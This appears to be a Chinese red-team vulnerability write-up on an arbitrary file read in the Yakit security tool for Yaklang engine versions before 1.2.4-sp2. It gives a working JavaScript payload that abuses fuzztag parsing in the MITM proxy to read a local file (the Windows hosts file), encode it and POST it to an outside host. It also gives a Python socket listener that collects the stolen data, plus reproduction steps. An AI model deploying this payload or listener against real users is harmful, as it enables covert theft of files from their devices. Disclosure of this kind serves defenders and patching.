2023Hvv/yakit任意文件读取.md
2023-08-16 17:47:36 +08:00

79 lines
2.3 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

详情可参考原文 有截图复现
原文链接https://mp.weixin.qq.com/s/IQekVs-UU2Slh6V_frpaug
前言:
yakit是近年新兴的一个BurpSuite平替工具和burp的区别就在于数据包放过去不用配置ip端口协议这些但是yakit跑起来感觉卡卡的远不如burp那么流畅近期yakit爆出了一个任意文件读取漏洞此漏洞通过在网页嵌入js代码实现读取yakit使用者设备上的文件
触发版本:
引擎版本< Yaklang 1.2.4-sp2
漏洞条件
使用yakit的MITM代理并且启用任意插件
Pyload:
<script>
const xhr = new XMLHttpRequest();
xhr.open("POST", "http://yakit.com/filesubmit");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send(`file={{base64enc(file(C:\\Windows\\System32\\drivers\\etc\\hosts))}}`);
</script>
```
监听脚本
#! /bin/python3
import socket
# 监听地址和端口
host = '0.0.0.0'
port = 23800
# 创建socket服务器
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 绑定并监听端口
server.bind((host, port))
server.listen()
# 接收连接并监听请求
print("Listening...")
while True:
# 接收客户端连接请求
client, address = server.accept()
print(f"Connected by {address}")
# 读取客户端请求数据
request = ''
while True:
input_data = client.recv(1024).decode('utf-8')
request += input_data
if len(input_data) < 1024:
break
# 提取请求头部
headers = request.split('\n')
print("Received headers:")
for header in headers:
print(header)
# 关闭客户端连接
client.close()
```
复现开始:
创建一个html页面并插入payload
启用MITM代理不启用插件进行访问
https://mmbiz.qpic.cn/sz_mmbiz_png/OF9Ieq8TATc71LlcBt5FGOn2ibomGw7wMXX7dh9j86aZ7JA0WMoxwHSDdAwnMVSZLoF09zuiamTpkibBtLto8y8KA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1
启用MITM代理并启用插件进行访问
https://mmbiz.qpic.cn/sz_mmbiz_png/OF9Ieq8TATc71LlcBt5FGOn2ibomGw7wM1RvwO5nnYhpX3aKZeCDdziaCEcOSDfbIcu2wNe27x7aTsPgBXo8KTsQ/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1
原理yakit默认不会对经过MITM代理的流量中的fuzztag进行解析但是经过插件时会被解析所以这也是利用限制。